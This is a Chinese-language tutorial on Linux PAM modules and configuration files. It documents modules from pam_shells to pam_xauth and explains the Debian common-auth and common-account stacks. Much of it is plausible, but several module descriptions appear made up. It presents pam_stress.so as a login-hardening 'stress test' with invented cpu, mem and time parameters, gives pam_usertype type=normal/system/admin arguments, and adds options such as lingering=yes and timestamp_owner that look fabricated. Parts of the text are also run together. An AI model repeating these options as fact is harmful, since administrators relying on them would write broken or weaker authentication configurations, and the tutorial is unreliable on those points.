# /etc/pam.d/login# 其他 PAM 模块配置
auth required pam_shells.so
auth required pam_securetty.so
auth requisite pam_nologin.so
auth include system-auth
account required pam_access.so
account required pam_nologin.so
account include system-auth
password include system-auth
session required pam_selinux.so open
session required pam_limits.so
session required pam_selinux.so close
session include system-auth
在这个示例中:
pam_shells.so
模块被配置为在登录的认证阶段检查用户的登录 shell参数详细说明
pam_shells.so
模块不需要任何额外参数,直接检查 /etc/shells
文件使用注意
/etc/shells
文件中列出了所有允许作为登录 shell 的有效 shell 路径/etc/shells
文件的权限设置正确,通常应设置为只读(644
权限)示例使用场景
控制允许的登录 shell
在 PAM 配置文件中配置 pam_shells.so
模块,确保用户登录时使用的 shell 在允许的 shell 列表中:
auth required pam_shells.so
配置 /etc/shells
文件
确保 /etc/shells
文件中列出了所有允许作为登录 shell 的有效 shell 路径:
# /etc/shells/bin/sh
/bin/bash
/usr/bin/zsh
/usr/bin/fish
处理流程示例
alice
尝试登录,系统根据 PAM 配置进行认证pam_shells.so
,检查用户 alice
的登录 shell(例如 /bin/bash
)是否在 /etc/shells
文件中/bin/bash
在 /etc/shells
文件中,允许用户 alice
登录/etc/shells
文件中,拒绝登录并提示错误信息功能pam_stress.so
模块用于强制用户在登录时通过特定的“压力测试”来验证其身份。这通常包括计算密集型任务,旨在增加登录过程的复杂性和安全性
主要用途在高安全性环境中,通过增加用户登录的计算复杂性,进一步验证用户的身份,防止快速暴力破解攻击
配置位置无独立配置文件
使用示例在 PAM 配置文件中,可以这样使用
auth required pam_stress.so
参数说明
pam_stress.so
模块通常不需要额外参数,直接执行默认的压力测试任务处理流程
pam_stress.so
,执行特定的压力测试任务配置示例
假设在 /etc/pam.d/login
文件中进行配置:
# /etc/pam.d/login# 其他 PAM 模块配置
auth required pam_stress.so cpu=2 mem=512 time=5
auth required pam_securetty.so
auth requisite pam_nologin.so
auth include system-auth
account required pam_access.so
account required pam_nologin.so
account include system-auth
password include system-auth
session required pam_selinux.so open
session required pam_limits.so
session required pam_selinux.so close
session include system-auth
在这个示例中:
pam_stress.so
模块被配置为在用户登录时执行压力测试,使用 2 个 CPU 核心、512 MB 内存,持续时间为 5 秒参数详细说明
cpu=2
表示使用 2 个 CPU 核心mem=512
表示使用 512 MB 内存time=5
表示测试持续 5 秒使用注意
示例使用场景
增加登录复杂性
在 PAM 配置文件中配置 pam_stress.so
模块,通过执行压力测试增加用户登录的复杂性:
auth required pam_stress.so cpu=2 mem=512 time=5
定制压力测试
根据系统的性能和安全需求,调整压力测试的参数:
auth required pam_stress.so cpu=4 mem=1024 time=10
处理流程示例
alice
尝试登录,系统根据 PAM 配置进行认证pam_stress.so
,执行压力测试任务,使用 2 个 CPU 核心、512 MB 内存,持续时间为 5 秒alice
通过压力测试后,允许登录功能pam_succeed_if.so
模块用于根据指定的条件判断是否允许用户通过认证或执行某些操作。它非常灵活,可以根据用户名、用户 ID、组 ID、登录时间等条件进行判断
主要用途在 PAM 配置中添加条件逻辑,以根据特定的用户属性或系统状态决定是否允许用户通过认证。这对于实现基于策略的访问控制非常有用
配置位置无独立配置文件
使用示例在 PAM 配置文件中,可以这样使用:
auth requisite pam_succeed_if.so user ingroup admin
参数说明
处理流程
pam_succeed_if.so
,根据配置的条件进行检查quiet
选项)配置示例
假设在 /etc/pam.d/login
文件中进行配置,允许只有属于 admin
组的用户登录:
# /etc/pam.d/login# 其他 PAM 模块配置
auth requisite pam_succeed_if.so user ingroup admin
auth required pam_securetty.so
auth requisite pam_nologin.so
auth include system-auth
account required pam_access.so
account required pam_nologin.so
account include system-auth
password include system-auth
session required pam_selinux.so open
session required pam_limits.so
session required pam_selinux.so close
session include system-auth
在这个示例中:
pam_succeed_if.so
模块被配置为在用户登录时检查用户是否属于 admin
组参数详细说明
user=alice
uid=1001
gid=100
shell=/bin/bash
home=/home/alice
service=login
tty=tty1
ingroup=admin
使用注意
quiet
选项时,注意可能会丢失一些有用的日志信息示例使用场景
限制用户登录
允许只有属于 admin
组的用户登录:
auth requisite pam_succeed_if.so user ingroup admin
检查用户 shell
仅允许使用 /bin/bash
作为登录 shell 的用户登录:
auth requisite pam_succeed_if.so shell /bin/bash
检查用户 ID
仅允许 UID 大于 1000 的用户登录:
auth requisite pam_succeed_if.so uid > 1000
处理流程示例
alice
尝试登录,系统根据 PAM 配置进行认证pam_succeed_if.so
,检查用户 alice
是否属于 admin
组alice
属于 admin
组,允许登录;否则,拒绝登录并记录日志(如果未配置 quiet
选项)功能pam_systemd.so
模块用于在用户会话期间与 systemd 交互,以便在登录时为用户创建和管理 systemd 会话。它确保每个用户会话都在其自己的 systemd 用户实例中运行,从而提供资源管理、审计和控制功能
主要用途在用户登录和会话管理过程中,自动为用户创建 systemd 会话,从而实现更好的资源隔离、会话管理和系统审计
配置位置无独立配置文件
使用示例在 PAM 配置文件中,可以这样使用:
session required pam_systemd.so
参数说明
处理流程
pam_systemd.so
,为用户创建一个新的 systemd 会话pam_systemd.so
清理会话资源配置示例
假设在 /etc/pam.d/login
文件中进行配置:
# /etc/pam.d/login# 其他 PAM 模块配置
auth required pam_securetty.so
auth requisite pam_nologin.so
auth include system-auth
account required pam_access.so
account required pam_nologin.so
account include system-auth
password include system-auth
session required pam_selinux.so open
session required pam_limits.so
session required pam_systemd.so
session required pam_selinux.so close
session include system-auth
在这个示例中:
pam_systemd.so
模块被配置为在用户会话开始时创建一个新的 systemd 会话参数详细说明
class=user
type=unspecified
lingering=yes
user=alice
service=sshd
使用注意
pam_systemd.so
模块能够正常工作pam_systemd.so
模块在适当的顺序中配置,通常放置在其他会话管理模块之后,以便在会话开始时正确创建和管理 systemd 会话示例使用场景
为用户创建 systemd 会话
在 PAM 配置文件中配置 pam_systemd.so
模块,确保用户登录时创建新的 systemd 会话:
session required pam_systemd.so
控制用户实例活动
允许用户在未登录时保持 systemd 用户实例活动:
session required pam_systemd.so lingering=yes
处理流程示例
alice
尝试登录,系统根据 PAM 配置进行认证pam_systemd.so
,为用户 alice
创建一个新的 systemd 会话alice
的会话在其自己的 systemd 用户实例中运行alice
的会话结束时,pam_systemd.so
清理会话资源功能pam_time.so
模块用于基于时间和日期限制用户的访问。它允许管理员根据时间表控制用户或组的登录权限和访问特定服务的权限
主要用途在指定的时间范围内控制用户或组的访问权限,增强系统的安全性和管理灵活性。例如,可以限制用户只能在工作时间登录,或防止在非工作时间访问特定服务
配置位置
/etc/security/time.conf
使用示例在 PAM 配置文件中,可以这样使用:
account required pam_time.so
参数说明
pam_time.so
模块通常不需要额外参数,配置细节在 /etc/security/time.conf
文件中定义配置文件 /etc/security/time.conf
/etc/security/time.conf
文件定义了时间控制策略。其格式如下:
services;ttys;users;times
*
*
@
)或通配符 *
[[[[[wdays][h:m]][,wdays][h:m]]...]]
示例配置
假设在 /etc/security/time.conf
文件中进行配置:
# /etc/security/time.conf# 允许用户 alice 在周一至周五的 08:00 到 18:00 之间访问 login 服务
login ; * ; alice ; Wk0800-1800
# 允许组 admin 在每天的 09:00 到 17:00 之间访问所有服务
* ; * ; @admin ; Al0900-1700
# 禁止用户 bob 在所有时间访问 sshd 服务
sshd ; * ; bob ; !Al0000-2400
配置示例
假设在 /etc/pam.d/login
文件中进行配置:
# /etc/pam.d/login# 其他 PAM 模块配置
auth required pam_securetty.so
auth requisite pam_nologin.so
auth include system-auth
account required pam_time.so
account required pam_access.so
account required pam_nologin.so
account include system-auth
password include system-auth
session required pam_selinux.so open
session required pam_limits.so
session required pam_selinux.so close
session include system-auth
在这个示例中:
pam_time.so
模块被配置为在用户登录时检查时间限制参数详细说明
pam_time.so
模块不需要额外参数,所有配置细节都在 /etc/security/time.conf
文件中定义使用注意
/etc/security/time.conf
文件中的时间格式正确,以便 pam_time.so
模块能够正确解析和应用时间限制pam_time.so
模块在适当的顺序中配置,通常放置在其他账户管理模块之前或之后,以便正确应用时间限制示例使用场景
限制用户登录时间
配置 /etc/security/time.conf
文件,限制用户 alice
只能在工作日的 08:00 到 18:00 之间登录:
login ; * ; alice ; Wk0800-1800
限制组访问时间
允许组 admin
成员只能在每天的 09:00 到 17:00 之间访问所有服务:
* ; * ; @admin ; Al0900-1700
禁止特定用户访问特定服务
禁止用户 bob
在所有时间访问 sshd
服务:
sshd ; * ; bob ; !Al0000-2400
处理流程示例
alice
尝试在周一的 10:00 登录,系统根据 PAM 配置进行认证pam_time.so
,检查 /etc/security/time.conf
文件中的时间限制alice
在允许登录的时间范围内,允许登录alice
尝试在周六的 10:00 登录,则拒绝登录并记录日志功能pam_timestamp.so
模块用于在一定时间内缓存用户的认证信息,从而避免用户在短时间内频繁输入密码。它主要用于 sudo
等需要频繁提升权限的操作
主要用途通过缓存用户的认证信息,减少用户在短时间内多次执行需要认证的操作时频繁输入密码的次数,提高用户体验
配置位置无独立配置文件
使用示例在 PAM 配置文件中,可以这样使用:
auth sufficient pam_timestamp.so
参数说明
/var/run/sudo/
处理流程
pam_timestamp.so
,检查是否存在有效的缓存认证信息配置示例
假设在 /etc/pam.d/sudo
文件中进行配置:
# /etc/pam.d/sudo# 其他 PAM 模块配置
auth sufficient pam_timestamp.so
auth required pam_unix.so
account required pam_permit.so
session required pam_permit.so
在这个示例中:
pam_timestamp.so
模块被配置为在用户执行 sudo
命令时检查缓存的认证信息参数详细说明
timestamp_timeout=10
表示缓存认证信息 10 分钟timestampdir=/var/run/sudo/timestamps
timestamp_owner=alice
使用注意
示例使用场景
减少频繁输入密码
在 PAM 配置文件中配置 pam_timestamp.so
模块,确保用户在执行需要提升权限的操作时减少频繁输入密码的次数:
auth sufficient pam_timestamp.so
设置缓存有效期
配置 pam_timestamp.so
模块,设置缓存认证信息的有效期为 15 分钟:
auth sufficient pam_timestamp.so timestamp_timeout=15
指定时间戳目录
配置 pam_timestamp.so
模块,指定存储时间戳文件的目录:
auth sufficient pam_timestamp.so timestampdir=/var/run/sudo/timestamps
处理流程示例
alice
尝试执行 sudo
命令,系统根据 PAM 配置进行认证pam_timestamp.so
,检查是否存在有效的缓存认证信息alice
执行 sudo
命令alice
输入密码并缓存认证信息,随后允许执行 sudo
命令功能pam_tty_audit.so
模块用于启用或禁用用户的 TTY(终端)输入审计。它允许管理员记录用户在终端上的输入命令,以便进行安全审计和日志分析
主要用途在高安全性环境中,通过记录用户在终端上的输入命令,帮助管理员监控用户活动,防止恶意行为,并进行事后审计
配置位置无独立配置文件
使用示例在 PAM 配置文件中,可以这样使用:
session required pam_tty_audit.so enable=* disable=admin
参数说明
*
来表示所有用户*
来表示所有用户处理流程
pam_tty_audit.so
,根据配置启用或禁用用户的 TTY 输入审计/var/log/audit/audit.log
)配置示例
假设在 /etc/pam.d/login
文件中进行配置:
# /etc/pam.d/login# 其他 PAM 模块配置
auth required pam_securetty.so
auth requisite pam_nologin.so
auth include system-auth
account required pam_access.so
account required pam_nologin.so
account include system-auth
password include system-auth
session required pam_selinux.so open
session required pam_limits.so
session required pam_tty_audit.so enable=* disable=admin
session required pam_selinux.so close
session include system-auth
在这个示例中:
pam_tty_audit.so
模块被配置为在用户会话期间启用所有用户的 TTY 输入审计,但禁用 admin
用户的审计参数详细说明
enable=alice
启用用户 alice
的审计,enable=*
启用所有用户的审计disable=admin
禁用用户 admin
的审计使用注意
/var/log/audit/audit.log
)有足够的存储空间,并且设置了适当的权限,防止未经授权的访问示例使用场景
启用所有用户的 TTY 输入审计
在 PAM 配置文件中配置 pam_tty_audit.so
模块,确保所有用户的 TTY 输入命令被记录:
session required pam_tty_audit.so enable=*
禁用特定用户的 TTY 输入审计
禁用用户 admin
的 TTY 输入审计:
session required pam_tty_audit.so disable=admin
仅在会话打开时启用审计
配置 pam_tty_audit.so
模块,仅在会话打开时启用 TTY 审计:
session required pam_tty_audit.so open_only enable=*
处理流程示例
alice
尝试登录,系统根据 PAM 配置进行认证pam_tty_audit.so
,启用用户 alice
的 TTY 输入审计alice
的输入命令被记录到审计日志中alice
的会话结束时,停止记录输入命令通过使用 pam_tty_audit.so
模块,系统管理员可以记录和审计用户在终端上的输入命令,从而增强系统的安全性,防止恶意行为,并便于事后分析和审计
功能pam_umask.so
模块用于在用户登录时设置文件创建掩码(umask)。umask
定义了新文件和目录的默认权限
主要用途在用户会话期间自动设置文件创建掩码,以确保新创建的文件和目录具有适当的默认权限,从而增强系统的安全性和一致性
配置位置
/etc/login.defs
使用示例在 PAM 配置文件中,可以这样使用:
session required pam_umask.so
参数说明
umask
为 002;否则设置为 022处理流程
pam_umask.so
,根据配置设置用户会话的 umask
umask
决定配置示例
假设在 /etc/pam.d/login
文件中进行配置:
# /etc/pam.d/login# 其他 PAM 模块配置
auth required pam_securetty.so
auth requisite pam_nologin.so
auth include system-auth
account required pam_access.so
account required pam_nologin.so
account include system-auth
password include system-auth
session required pam_selinux.so open
session required pam_limits.so
session required pam_umask.so
session required pam_selinux.so close
session include system-auth
在这个示例中:
pam_umask.so
模块被配置为在用户会话开始时设置 umask
参数详细说明
umask=077
表示新创建的文件和目录的权限为 700(仅所有者有权限)umask
。如果用户属于特定组,设置 umask
为 002;否则设置为 022。这通常用于为开发环境设置较宽松的权限使用注意
/etc/login.defs
文件中设置全局 umask
,但 pam_umask.so
模块的配置会覆盖全局配置umask
值,以确保新创建的文件和目录具有适当的默认权限,避免过于宽松或过于严格的权限设置示例使用场景
设置固定的文件创建掩码
在 PAM 配置文件中配置 pam_umask.so
模块,设置用户会话的 umask
为 027:
session required pam_umask.so umask=027
根据用户组设置文件创建掩码
使用 usergroups
参数,根据用户所属组设置 umask
:
session required pam_umask.so usergroups
处理流程示例
alice
尝试登录,系统根据 PAM 配置进行认证pam_umask.so
,设置用户 alice
会话的 umask
为 027alice
的会话期间,新创建的文件和目录的默认权限由 umask
027 决定(文件权限为 750,目录权限为 750)功能pam_unix.so
模块用于通过传统的 /etc/passwd
和 /etc/shadow
文件进行用户认证、账户管理、密码管理和会话管理。它是一个较为基础的 PAM 模块,提供与 Unix 系统用户数据库的交互
主要用途用于本地用户的认证和管理,包括验证用户凭据、管理用户密码、检查账户有效性和处理用户会话
配置位置
基于传统的 /etc/passwd
和 /etc/shadow
使用示例在 PAM 配置文件中,可以这样使用:
auth required pam_unix.so
account required pam_unix.so
password required pam_unix.so
session required pam_unix.so
参数说明
/etc/shadow
文件中获取密码处理流程
pam_unix.so
,通过 /etc/passwd
和 /etc/shadow
文件验证用户凭据配置示例
假设在 /etc/pam.d/login
文件中进行配置:
# /etc/pam.d/login# 其他 PAM 模块配置
auth required pam_securetty.so
auth requisite pam_nologin.so
auth required pam_env.so
auth required pam_unix.so
account required pam_access.so
account required pam_nologin.so
account required pam_unix.so
password required pam_unix.so
session required pam_limits.so
session required pam_unix.so
session required pam_env.so
在这个示例中:
pam_unix.so
模块被配置为在认证、账户管理、密码管理和会话管理阶段进行用户认证和管理参数详细说明
auth required pam_unix.so audit
auth required pam_unix.so nullok
auth required pam_unix.so try_first_pass
auth required pam_unix.so use_first_pass
password required pam_unix.so use_authtok
/etc/shadow
文件中获取密码。例如,auth required pam_unix.so shadow
password required pam_unix.so md5
password required pam_unix.so sha256
password required pam_unix.so sha512
password required pam_unix.so sha512 rounds=5000
使用注意
audit
参数在 syslog 中记录详细的审计日志,以便进行安全审计和问题排查nullok
参数允许空密码时要谨慎,确保只在特定场景下使用示例使用场景
使用 SHA512 加密密码
在 PAM 配置文件中配置 pam_unix.so
模块,使用 SHA512 加密密码:
password required pam_unix.so sha512
允许空密码
允许用户使用空密码登录(需谨慎):
auth required pam_unix.so nullok
尝试使用前一个模块的密码
配置 pam_unix.so
模块,尝试使用前一个模块的密码:
auth required pam_unix.so try_first_pass
处理流程示例
alice
尝试登录,系统根据 PAM 配置进行认证pam_unix.so
,通过 /etc/passwd
和 /etc/shadow
文件验证用户 alice
的凭据alice
登录;否则,拒绝登录并记录日志功能pam_userdb.so
模块用于通过 Berkeley DB 文件进行用户认证。它允许管理员使用一个指定的数据库文件来存储和验证用户凭据,而不是使用传统的 /etc/passwd
或 /etc/shadow
文件
主要用途在需要使用自定义用户数据库的环境中,通过 Berkeley DB 文件进行用户认证。这在某些应用场景中非常有用,例如嵌入式系统或需要独立于系统用户管理的应用程序
配置位置配置时指定配置文件
使用示例在 PAM 配置文件中,可以这样使用:
auth required pam_userdb.so db=/path/to/userdb.db
参数说明
.db
)处理流程
pam_userdb.so
,从指定的 Berkeley DB 数据库文件中读取并验证用户凭据pam_usertype.so
模块用于基于用户类型(如普通用户、系统用户或管理员用户)来控制访问和操作权限。这个模块通常用于根据用户的类型来决定是否允许用户通过认证或执行某些操作
主要用途在认证过程中,根据用户的类型(如普通用户、系统用户或管理员用户)来控制访问权限。这可以增强系统的安全性和管理灵活性
配置位置无独立配置文件
使用示例在 PAM 配置文件中,可以这样使用:
auth required pam_usertype.so
参数说明
normal
、system
或 admin
处理流程
pam_usertype.so
,根据配置检查用户的类型配置示例
假设在 /etc/pam.d/login
文件中进行配置:
# /etc/pam.d/login# 其他 PAM 模块配置
auth required pam_securetty.so
auth requisite pam_nologin.so
auth required pam_usertype.so type=normal
auth include system-auth
account required pam_access.so
account required pam_nologin.so
account include system-auth
password include system-auth
session required pam_selinux.so open
session required pam_limits.so
session required pam_selinux.so close
session include system-auth
在这个示例中:
pam_usertype.so
模块被配置为在用户登录时检查用户类型是否为 normal
参数详细说明
type=normal
表示普通用户,type=system
表示系统用户,type=admin
表示管理员用户auth required pam_usertype.so type=normal debug
使用注意
debug
参数时,注意调试信息可能包含敏感数据,应确保日志的安全性示例使用场景
限制普通用户登录
在 PAM 配置文件中配置 pam_usertype.so
模块,限制只有普通用户可以登录:
auth required pam_usertype.so type=normal
限制系统用户执行操作
配置 pam_usertype.so
模块,限制只有系统用户可以执行特定操作:
account required pam_usertype.so type=system
启用调试信息输出
配置 pam_usertype.so
模块,启用调试信息输出:
auth required pam_usertype.so type=normal debug
处理流程示例
alice
尝试登录,系统根据 PAM 配置进行认证pam_usertype.so
,检查用户 alice
是否为普通用户alice
的类型为 normal
,允许登录;否则,拒绝登录并记录日志功能pam_warn.so
模块用于在日志中记录警告消息。它不会影响认证流程的结果,但会在被调用的时候向系统日志发出一条警告。这可以用于调试、审计和监控目的
主要用途在 PAM 配置中,通过在特定阶段记录警告消息来增强系统的审计和监控能力。它可以帮助管理员了解某些模块的调用情况,或者在特定的认证阶段进行日志记录
配置位置无独立配置文件
使用示例在 PAM 配置文件中,可以这样使用:
auth required pam_warn.so
参数说明
pam_warn.so
模块不需要任何参数处理流程
pam_warn.so
模块,在系统日志中记录一条警告消息pam_warn.so
的影响配置示例
假设在 /etc/pam.d/login
文件中进行配置:
# /etc/pam.d/login# 其他 PAM 模块配置
auth required pam_securetty.so
auth requisite pam_nologin.so
auth required pam_warn.so
auth include system-auth
account required pam_access.so
account required pam_nologin.so
account required pam_warn.so
account include system-auth
password include system-auth
session required pam_selinux.so open
session required pam_limits.so
session required pam_warn.so
session required pam_selinux.so close
session include system-auth
在这个示例中:
pam_warn.so
模块被配置为在认证、账户管理和会话管理阶段记录警告消息使用注意
/var/log/auth.log
或 /var/log/secure
)有足够的存储空间,并且设置了适当的权限,防止未经授权的访问和篡改pam_warn.so
模块可以增强系统的审计和监控能力,但不应依赖它来控制访问权限示例使用场景
在认证阶段记录警告消息
在 PAM 配置文件中配置 pam_warn.so
模块,记录用户在认证阶段的警告消息:
auth required pam_warn.so
在账户管理阶段记录警告消息
配置 pam_warn.so
模块,记录用户在账户管理阶段的警告消息:
account required pam_warn.so
在会话管理阶段记录警告消息
配置 pam_warn.so
模块,记录用户在会话管理阶段的警告消息:
session required pam_warn.so
处理流程示例
alice
尝试登录,系统根据 PAM 配置进行认证pam_warn.so
,在系统日志中记录一条警告消息pam_warn.so
的影响通过使用 pam_warn.so
模块,系统管理员可以在特定的 PAM 处理阶段记录警告消息,从而增强系统的审计和监控能力,有助于问题排查和安全审计
功能pam_wheel.so
模块用于限制只有特定组的成员可以使用 su
命令。这通常用于限制谁可以切换到超级用户(root)或其他用户,以增强系统的安全性
主要用途通过限制对 su
命令的访问,确保只有授权的用户(通常是 wheel
组的成员)可以切换到超级用户或其他用户。这可以防止未经授权的用户提升权限
配置位置通常在 PAM 配置文件中的认证阶段(auth
)进行设置,位于 /etc/pam.d/
目录下的相关文件,主要用于 su
命令的配置文件 /etc/pam.d/su
使用示例在 PAM 配置文件中,可以这样使用:
auth required pam_wheel.so
参数说明
su
命令的组。默认是 wheel
组su
命令的组su
命令的用户的真实 UID 来检查组成员资格,而不是切换到的用户的 UID处理流程
su
命令切换到另一个用户,系统根据 PAM 配置进行认证pam_wheel.so
,检查用户是否属于允许使用 su
命令的组配置示例
假设在 /etc/pam.d/su
文件中进行配置:
# /etc/pam.d/su# 其他 PAM 模块配置
auth sufficient pam_rootok.so
auth required pam_wheel.so use_uid
auth include system-auth
account required pam_permit.so
session required pam_env.so
session optional pam_xauth.so
在这个示例中:
pam_wheel.so
模块被配置为在用户执行 su
命令时检查用户是否属于 wheel
组参数详细说明
su
命令的组。例如,group=admin
表示只有 admin
组的成员可以使用 su
命令auth required pam_wheel.so trust
su
命令的组。例如,deny=restricted
表示 restricted
组的成员不能使用 su
命令su
命令的用户的真实 UID 来检查组成员资格。例如,auth required pam_wheel.so use_uid
使用注意
su
命令的组(如 wheel
组),并将授权用户加入该组trust
参数,以防止未经授权的用户通过信任组提升权限示例使用场景
限制 wheel
组成员使用 su
在 PAM 配置文件中配置 pam_wheel.so
模块,限制只有 wheel
组的成员可以使用 su
命令:
auth required pam_wheel.so
指定其他组使用 su
配置 pam_wheel.so
模块,允许 admin
组的成员使用 su
命令:
auth required pam_wheel.so group=admin
信任 wheel
组成员
配置 pam_wheel.so
模块,信任 wheel
组的成员,即无需再次输入密码:
auth required pam_wheel.so trust
使用真实 UID 检查组成员资格
配置 pam_wheel.so
模块,使用调用 su
命令的用户的真实 UID 来检查组成员资格:
auth required pam_wheel.so use_uid
处理流程示例
alice
尝试使用 su
命令切换到 root
用户,系统根据 PAM 配置进行认证pam_wheel.so
,检查用户 alice
是否属于 wheel
组alice
属于 wheel
组,允许切换到 root
用户;否则,拒绝操作并记录日志功能pam_xauth.so
模块用于在使用 su
或 sudo
等命令时转移和管理 X Window System 的认证令牌。这使得用户在切换身份后仍然能够访问 X11 显示,而无需重新认证
主要用途在用户切换身份时,通过转移 X11 认证令牌,确保新的用户会话能够访问原有用户的 X11 显示。这在图形环境下非常有用,允许用户在切换到其他用户(如使用 su
或 sudo
)后继续使用 X11 应用
配置位置通常在 PAM 配置文件中的会话管理阶段(session
)进行设置,位于 /etc/pam.d/
目录下的相关文件,通常用于 su
或 sudo
的配置文件
使用示例在 PAM 配置文件中,可以这样使用:
session optional pam_xauth.so
参数说明
xauth
命令的路径。如果 xauth
命令不在标准路径中,可以使用此参数指定处理流程
su
或 sudo
命令切换身份,系统根据 PAM 配置进行处理pam_xauth.so
,转移 X11 认证令牌到新的用户会话配置示例
假设在 /etc/pam.d/su
文件中进行配置:
# /etc/pam.d/su# 其他 PAM 模块配置
auth sufficient pam_rootok.so
auth required pam_wheel.so use_uid
auth include system-auth
account required pam_permit.so
session required pam_env.so
session optional pam_xauth.so
在这个示例中:
pam_xauth.so
模块被配置为在用户使用 su
命令切换身份时转移 X11 认证令牌参数详细说明
session optional pam_xauth.so debug
xauth
命令的路径。例如,session optional pam_xauth.so xauthpath=/usr/local/bin/xauth
使用注意
xauth
命令,并且路径正确。如果 xauth
命令不在标准路径中,可以使用 xauthpath
参数指定示例使用场景
转移 X11 认证令牌
在 PAM 配置文件中配置 pam_xauth.so
模块,确保用户使用 su
命令切换身份后仍然能够访问 X11 显示:
session optional pam_xauth.so
启用调试信息输出
配置 pam_xauth.so
模块,启用调试信息输出:
session optional pam_xauth.so debug
指定 xauth 命令路径
配置 pam_xauth.so
模块,指定 xauth
命令的路径:
session optional pam_xauth.so xauthpath=/usr/local/bin/xauth
处理流程示例
alice
在图形终端中尝试使用 su
命令切换到 root
用户,系统根据 PAM 配置进行处理pam_xauth.so
模块,转移 X11 认证令牌到 root
用户会话root
用户会话能够访问 alice
用户的 X11 显示,而无需重新认证在上面的部分中介绍了每一个模块的功能,有些模块是开关类型的模块,引入它就会开启某些功能;有些模块是需要额外配置的,根据额外配置的不同而产生不同的功能
但是这些模块都不是默认就加载的,而是需要 PAM 配置文件中进行相关配置才会加载
常规来说,配置文件都是服务于主程序的,但 PAM 主程序似乎并不需要我们的配置,所以 PAM 的配置文件服务的对象不是 PAM 本身,而是需要进行身份验证的服务,例如 login、sshd、su 等
PAM 配置文件定义了系统如何处理用户认证。PAM 配置文件通常位于 /etc/pam.d/
目录中,并以服务名称命名(例如 login
、sshd
、su
等)。每个配置文件包含多个 PAM 模块的调用,按照顺序定义认证流程
/etc/pam.conf
/etc/pam.d/*
一般情况下,每一个需要 PAM 认证的服务会在 /etc/pam.d/
目录下创建一个相同名字的配置文件,如果系统上不存在 /etc/pam.d/
目录,则会使用 /etc/pam.conf
PAM 的配置文件是从上向下执行的,每一行代表一次对模块的调用
auth
、account
、password
、session
),在完成所有模块的调用后,必须有一个最终的返回值。这决定了这个阶段的整体结果PAM 配置文件中的每一行通常包含以下四个字段:
模块类型(Type)
控制标志(Control Flag)
模块路径(Module Path)
模块参数(Module Arguments)
示例如下:
auth required pam_unix.so
PAM 配置文件中有四种主要的模块类型:
auth:认证模块,用于验证用户身份。例如,检查密码或使用双因素认证
account:账户管理模块,用于检查账户的属性。例如,账户是否被锁定或是否有登录权限
password:密码管理模块,用于管理用户密码。例如,修改密码或检查密码复杂度
session:会话管理模块,用于管理用户会话。例如,设置资源限制或初始化用户环境
控制标志决定了 PAM 模块的成功或失败将如何影响整个认证过程。常见的控制标志有:
required:必须成功。如果此模块失败,整个认证过程将失败,但仍会继续执行后续模块
requisite:必须成功。如果此模块失败,整个认证过程将立即失败,不再执行后续模块
sufficient:如果此模块成功,整个认证过程立即成功,不再执行后续模块;如果失败,则继续执行后续模块
optional:无论此模块成功与否,都不会影响整个认证过程的结果。通常用于记录日志或设置环境变量
模块路径指定 PAM 模块的路径。通常是 /lib/security/
或 /lib64/security/
目录下的共享库文件。例如,pam_unix.so
模块参数用于传递特定配置给 PAM 模块。例如,debug
、nullok
等
从上面的几部分可以看出,PAM 的配置文件语法较为简单,但是如果没有之前关于服务模块的介绍,实在是不好完全理解,即使是了解了服务模块,也需要借助一些案例来进行分析
common-auth
配置文件通常包含系统所有服务共享的通用认证策略。通过将通用的认证策略抽象到一个单独的文件中,系统可以简化 PAM 配置的管理,并确保所有服务遵循一致的认证流程
#
# /etc/pam.d/common-auth - authentication settings common to all services
#
# This file is included from other service-specific PAM config files,
# and should contain a list of the authentication modules that define
# the central authentication scheme for use on the system
# (e.g., /etc/shadow, LDAP, Kerberos, etc.). The default is to use the
# traditional Unix authentication mechanisms.
#
# As of pam 1.0.1-6, this file is managed by pam-auth-update by default.
# To take advantage of this, it is recommended that you configure any
# local modules either before or after the default block, and use
# pam-auth-update to manage selection of other modules. See
# pam-auth-update(8) for details.# here are the per-package modules (the "Primary" block)
auth [success=1 default=ignore] pam_unix.so nullok
# here's the fallback if no module succeeds
auth requisite pam_deny.so
# prime the stack with a positive return value if there isn't one already;
# this avoids us returning an error just because nothing sets a success code
# since the modules above will each just jump around
auth required pam_permit.so
# and here are more per-package modules (the "Additional" block)
auth optional pam_cap.so
# end of pam-auth-update config
#
开头的是注释行
auth [success=1 default=ignore] pam_unix.so nullok
类型:auth
控制标志:[success=1 default=ignore]
模块:pam_unix.so
参数:nullok
功能:
pam_unix.so
模块用于通过 /etc/passwd
和 /etc/shadow
文件进行用户认证nullok
参数允许空密码auth requisite pam_deny.so
auth
requisite
pam_deny.so
pam_deny.so
模块总是返回失败requisite
标志表示如果此模块失败,整个认证过程立即失败,不再执行后续模块auth required pam_permit.so
auth
required
pam_permit.so
pam_permit.so
模块总是返回成功required
标志表示此模块必须成功,否则整个认证过程将失败,但是会继续执行后续模块auth optional pam_cap.so
auth
optional
pam_cap.so
pam_cap.so
模块用于设置进程能力optional
标志表示此模块的成功或失败不会影响整个认证过程配置总体执行流程
pam_unix.so
模块:pam_deny.so
),继续执行 pam_permit.so
pam_deny.so
)pam_deny.so
模块:pam_permit.so
模块:pam_cap.so
模块(可选):通过调用不同的模块,完成了基本的身份认证流程
common-account
配置文件定义了系统所有服务共享的通用账户管理策略。通过将通用的账户管理策略抽象到一个单独的文件中,系统可以简化 PAM 配置的管理,并确保所有服务遵循一致的账户管理流程
#
# /etc/pam.d/common-account - authorization settings common to all services
#
# This file is included from other service-specific PAM config files,
# and should contain a list of the authorization modules that define
# the central access policy for use on the system. The default is to
# only deny service to users whose accounts are expired in /etc/shadow.
#
# As of pam 1.0.1-6, this file is managed by pam-auth-update by default.
# To take advantage of this, it is recommended that you configure any
# local modules either before or after the default block, and use
# pam-auth-update to manage selection of other modules. See
# pam-auth-update(8) for details.
## here are the per-package modules (the "Primary" block)
account [success=1 new_authtok_reqd=done default=ignore] pam_unix.so
# here's the fallback if no module succeeds
account requisite pam_deny.so
# prime the stack with a positive return value if there isn't one already;
# this avoids us returning an error just because nothing sets a success code
# since the modules above will each just jump around
account required pam_permit.so
# and here are more per-package modules (the "Additional" block)
# end of pam-auth-update config
account [success=1 new_authtok_reqd=done default=ignore] pam_unix.so
account
[success=1 new_authtok_reqd=done default=ignore]
pam_unix.so
new_authtok_reqd
),则完成后续操作pam_unix.so
模块用于通过 /etc/passwd
和 /etc/shadow
文件进行账户管理[success=1 new_authtok_reqd=done default=ignore]
的含义是:account requisite pam_deny.so
不多介绍了,就相当于编程里的 exit
account required pam_permit.so
不多介绍,相当于编程里的 return true
配置总体执行流程
pam_unix.so
模块:pam_deny.so
),继续执行 pam_permit.so
